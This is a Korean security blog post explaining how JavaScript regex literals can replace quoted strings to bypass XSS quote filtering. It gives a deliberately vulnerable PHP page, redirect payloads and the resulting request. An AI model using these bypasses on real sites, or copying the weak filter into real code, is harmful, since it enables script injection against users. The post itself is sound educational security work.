정규표현식을 이용한 XSS 우회 기법

⚠️ XSS에 대한 전반적인 내용은 Cullinan > XSS 페이지에서 관리하고 있습니다. 해당 페이지에서 최신 데이터가 유지되니 참고 부탁드려요 :D

대부분 Reflected XSS가 발생하는 포인트는 비슷비슷합니다. 사용자 입력값에서부터 출발하기 때문에 입력이 노출되는 구간, 그 중에서 공격에 쓰이는 특수문자에 대한 필터링이 중요하지요. 대표적으로 < > ' " 등이 많이 사용됩니다. 최근에 나름 새로운(?) 케이스를 찾았기 때문에 공유드리는게 좋을 것 같아 글 작성합니다.

매번 XSS 공격 과정은 필터링과의 싸움입니다. 특히 어떤 특수문자를 검증하는지 어떤 방식으로 처리하는지 보면서 요리조리 피해가는 구문을 만들죠. 오늘 소개해드릴 방법은 더블쿼터 or 싱글쿼터 사용이 불가능할 때 대체하는 방법입니다.

물론 이거 자체가 참신한 우회 방법은 아니겠지만, 작은 기법하나가 취약하다/취약하지 않다를 나누는 큰 기준이 되기도 합니다.

Regular Expression

우회 기법에 앞서 Regular Expression에 대해 알고가야합니다. IT 하시는 분이라면 다뤄보셨거나 최소 들어보셨을것이고 많은 IT기술에 사용되는 것이 바로 Regular Expression, 정규표현식입니다. Regular Expression은 주로 문자열 사이에서 찾아야할 데이터를 규칙성을 가지고 찾는 방법이며 이쪽업계에서는 백신이나 네트워크 장비단에서 공격 패턴을 찾을 때 많이들 사용하죠.

사실 오늘 기법이 Regular Expression 자체를 이용하진 않습니다. 다만 Javascript에서 Regular Expression을 처리하는 과정에서 생기는 특이사항을 이용하여 XSS나 다른 취약점 우회에 사용될 수 있습니다.

Regexp and String?!

Javascript에서 Regular Expression 은 정규식 그 자체로서 의미가 있지만 재미있는 규칙이 하나 더 있습니다. Regular Expression, 즉 슬래쉬와 슬래쉬 사이의 문자를 별도의 변수가 아닌 String 으로 읽는다는 점입니다.

이를 이용하면 우리는 문자열을 위해 사용하는 Quotation을 대체할 수 있습니다.

아래 간단한 코드를 하나보죠.

<script>
  document.location.href="https://www.hahwul.com";
</script>

위 코드는 현재 웹 페이지를 http://www.hahwul.com 으로 이동시키는 코드입니다. 여기서 만약 더블쿼테이션을 사용하지 못한다면 어떨까요?

<script>
  document.location.href=https://www.hahwul.com;
</script>

SyntaxError: missing ; before statement Browser

위와 같이 Syntax 에러가 발생합니다. 왜냐하면 http://www.hahwul.com은 문자열로 인식되지 않기 때문이죠. 조금 더 쉽게 풀어보겠습니다. 아래 두 선언부분의 차이가 보이시나요?

var param="b";
var param=b;

맨 윗줄은 param이라는 변수에 String “B”를 넣어서 변수를 만들고 두번째 줄은 변수 param에 변수 b의 내용을 집어넣습니다. 약간의 차이로 로직의 흐름이 크게 바뀌기 때문에 싱글쿼터 or 더블쿼터는 굉장히 중요합니다.

그럼 오늘의 주요 부분인 Regular Expression에 대해 보도록 하겠습니다. 이런 형태의 정규표현식은 주어진 문자열 내 abcd를 찾는 정규표현식입니다.

/abcd/

정규표현식으로 사용되지만 재미있는건, 마치 String과 비슷하게 동작한다는 점이죠.

<script>
  document.location.href=/http:\/\/www.hahwul.com/;
</script>

우리는 정규식(/http:\/\/www.hahwul.com/) 구문을 이용해서 location.href에 값을 넣어줬습니다. 원래는 슬래쉬와 슬래쉬 사이이기 때문에 정규표현식에서 사용되는 형태이지만, 특별하게 Javascript는 문자열로 처리하여 더블쿼터나 싱글쿼터가 없이도 문자열 삽입이 가능합니다.

물론 이런 필터링은 상황에 따라서 작년에 작성했던 XDE(XSS DOM-base Evasion)으로도 가능하지만 오늘 소개해드린 방법이 조금 더 유용하지 않을까 싶습니다.

Bypass XSS(Quotation filtering) with Regular expression

위에서 보여드린 정규표현식의 특징을 이용하여 XSS filtering를 우회해봅시다.

◇ Weak PHP Code (Reflected XSS , XSS Filtering)

<?php
  $q = $_GET['q'];
  $q = str_replace("\"","!!!!!!!",$q);
  $q = str_replace("'","!!!!!!!",$q);
  $q = str_replace("(","!!!!!!!",$q);
  $q = str_replace(")","!!!!!!!",$q);
  $q = str_replace(";","!!!!!!!",$q);
?>
<script>
  var intintint = <?php echo $q; ?> ;
</script>

아래와 같이 페이지를 Redirectoin 시키는 공격코드를 넣으면..

◇ Default XSS attack code(Redirection)

GET /weak.php?q=document.location.href=%22http://www.hahwul.com%22

◇ Default XSS Response

<script>
  var intintint = document.location.href=!!!!!!!http://www.hahwul.com!!!!!!! ;
</script>

!!!!!!로 필터링되어 들어가게 됩니다. 괄호 제한으로 함수 사용도 불가능하고 다른곳에서 문자열을 불러오자니 DOM에 있는 데이터가 없습니다. 우리는 아까 배운 Regular Expression을 통해서 XSS Filtering 코드를 우회할 수 있습니다.

◆ XSS Bypass attack code(Redirection)

GET /weak.php?q=document.location.href=/\/\/www.hahwul.com/

◆ XSS Bypass Response

<script>
  var intintint = document.location.href=/\/\/www.hahwul.com/ ;
</script>

◆ XSS Bypass Web View(실제 웹 페이지)

GET / HTTP/1.1
Host: www.hahwul.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/test/weak.php?q=document.location.href=/\/\/www.hahwul.com/
DNT: 1
Connection: keep-alive

우측 개발자도구를 보면 스크립트로 인해 Redirection 됨을 알 수 있습니다.